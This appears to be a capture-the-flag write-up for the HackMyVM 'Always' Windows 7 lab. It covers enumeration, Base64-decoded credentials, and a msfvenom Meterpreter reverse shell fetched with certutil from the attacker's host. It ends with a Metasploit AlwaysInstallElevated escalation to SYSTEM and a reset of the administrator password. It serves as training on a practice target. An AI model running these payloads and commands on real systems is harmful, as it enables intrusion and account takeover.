Always
Always is an introductory-level Windows target from HackmyVM designed to build essential skills in enumeration, exploitation, and privilege escalation. Initial enumeration with Nmap reveals several open ports, including FTP, HTTP, and SMB, each exposing services with potential vulnerabilities. Diving into these services uncovers hints and credentials through Base64 encoded data, leading to FTP access. By deploying a crafted reverse shell and leveraging Metasploit for privilege escalation, users can gain SYSTEM-level access.
ENUMERATION
Lets begin as always with an Nmap Scan:
target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep 'tcp.*open' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -n -sVC $targetPORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server?
|_ssl-date: 2024–10–31T09:19:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Always-PC
| Not valid before: 2024–10–02T08:06:05
|_Not valid after: 2025–04–03T08:06:05
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open http Apache httpd 2.4.57 ((Win64))
|_http-server-header: Apache/2.4.57 (Win64)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: We Are Sorry
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: ALWAYS-PC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: ALWAYS-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:d3:b7:7d (Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024–10–31T09:19:28
|_ start_date: 2024–10–31T09:17:30
|_clock-skew: mean: -30m00s, deviation: 1h00m00s, median: 0s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: "Always-PC"
| NetBIOS computer name: ALWAYS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024–10–31T11:19:28+02:00Ctfenum got us this:
======================================================================
[!] Attacking port 21
[!] FTP
[!] If the FTP server does not lists the content, use the commands like:
ftp:>passive
ftp:>bin
ftp:>ls -la
[!] Testing common credentials for FTP on background
======================================================================
[!] Attacking port 8080
[!] Apache server, Fuzzing for PHP files.
[+] Apache/2.4.57 (Win64)
[!] URL: http://192.168.56.18:8080
http://192.168.56.18:8080/admin/admin_notes.htmlEXPLOITATION
On the admin_notes page we find this base64 encoded text:
ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=let’s see what’s inside:
└─$ dcode ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=[+] Decoded from Base64: ftpuser:KeepGoingBro!!!So we have creds for the “ftpuser”.
└─$ ftp $(IP)Connected to 192.168.56.18.
220 Microsoft FTP Service
Name (192.168.56.18:think): ftpuser
331 Password required for ftpuser.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49158|)
150 Opening ASCII mode data connection.
10–01–24 07:17PM 56 robots.txt
226 Transfer complete.
ftp> get robots.txt
local: robots.txt remote: robots.txt
229 Entering Extended Passive Mode (|||49159|)
150 Opening ASCII mode data connection.
100% |****************************************************************************************************************| 56 64.03 KiB/s 00:00 ETA
226 Transfer complete.
56 bytes received in 00:00 (38.05 KiB/s)
ftp>Now we inspect the robots.txt file
└─$ cat robots.txtUser-agent: *
Disallow: /admins-secret-pagexxx.htmlLet’s visit this page to see what’s inside
curl http://192.168.56.18:8080/admins-secret-pagexxx.htmlAdmin's Secret Notes
1) Disable the firewall and Windows Defender.
2) Enable FTP and SSH.
3) Start the Apache server.
4) Don't forget to change the password for user 'always'. Current password is "WW91Q2FudEZpbmRNZS4hLiE=".The 4 item on the list gives us the password for the user “always”
└─$ dcode WW91Q2FudEZpbmRNZS4hLiE=[+] Decoded from Base64: YouCantFindMe.!.!Get joseml’s stories in your inbox
Join Medium for free to get updates from this writer.
The next logical step is to RDP as always user on the machine and get a reverse shell from there. On this version of the machine this next step is broken because the password for always user was never set to this one.
Let’s see if the password of the “ftpuser” is the same on the system:
└─$ netexec smb $(IP) -u ftpuser -p 'KeepGoingBro!!!'SMB 192.168.56.18 445 ALWAYS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:ALWAYS-PC) (domain:Always-PC) (signing:False) (SMBv1:True)
SMB 192.168.56.18 445 ALWAYS-PC [+] Always-PC\ftpuser:KeepGoingBro!!!Cool, we can log in physically into the machine as “ftpuser”
From there i have sent me a reverse shell as “ftpuser”
└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=9999 -f exe -o reverse.exe[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 208384 bytes
Saved as: reverse.exeI have served this “Metasploit” payload with a python HTTP server
└─$ httpServing HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
172.19.128.1 - - [31/Oct/2024 10:51:34] "GET /reverse.exe HTTP/1.1" 200 -I have downloaded the metasploit payload with certutil.exe
certutil.exe -urlcache -split -f http://192.168.56.1/reverse.exeI have launched the listener:
└─$ msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set LHOST 192.168.56.1; set LPORT 9999; set ExitOnSession false; set AutoRunScript post/windows/manage/migrate; run -z -j"[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
LHOST => 192.168.56.1
LPORT => 9999
ExitOnSession => false
AutoRunScript => post/windows/manage/migrate
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[-] Handler failed to bind to 192.168.56.1:9999:- -
[*] Started reverse TCP handler on 0.0.0.0:9999Once launched the metasploit payload i got a connection:
msf6 exploit(multi/handler) > [*] Session ID 1 (172.19.142.179:9999 -> 172.19.128.1:60344) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against ALWAYS-PC
[*] Current server process: reverse.exe (1780)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 876
[+] Successfully migrated into process 876
[*] Meterpreter session 1 opened (172.19.142.179:9999 -> 172.19.128.1:60344) at 2024–10–31 10:51:56 +0100
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1…
meterpreter > guid
[+] Session GUID: 79163c44–49ab-4f97-a3e4-c7358af1455d
meterpreter >ROOT
Since this is Windows 7 there have to be lots of exploits for privilege escalation integrated on Metasploit.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
msf6 post(multi/recon/local_exploit_suggester) > runI have used the first suggestion from exploit suggester:
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) > setg lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(windows/local/always_install_elevated) > set lport 8888
msf6 exploit(windows/local/always_install_elevated) > run
[-] Handler failed to bind to 192.168.56.1:8888:- -
[*] Started reverse TCP handler on 0.0.0.0:8888
[*] Uploading the MSI to C:\Users\ftpuser\AppData\Local\Temp\OzbYAulZhxu.msi …
[*] Executing MSI…
[*] Sending stage (176198 bytes) to 172.19.128.1
[+] Deleted C:\Users\ftpuser\AppData\Local\Temp\OzbYAulZhxu.msi
[*] Meterpreter session 3 opened (172.19.142.179:8888 -> 172.19.128.1:60673) at 2024–10–31 10:55:31 +0100
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2528 created.
Channel 2 created.
Microsoft Windows [S r m 6.1.7601]
Telif Hakk © 2009 Microsoft Corporation. T m haklar sakl d r.
C:\Windows\system32>net user administrator admin
net user administrator admin
Komut ba ar yla tamamland .
C:\Windows\system32>






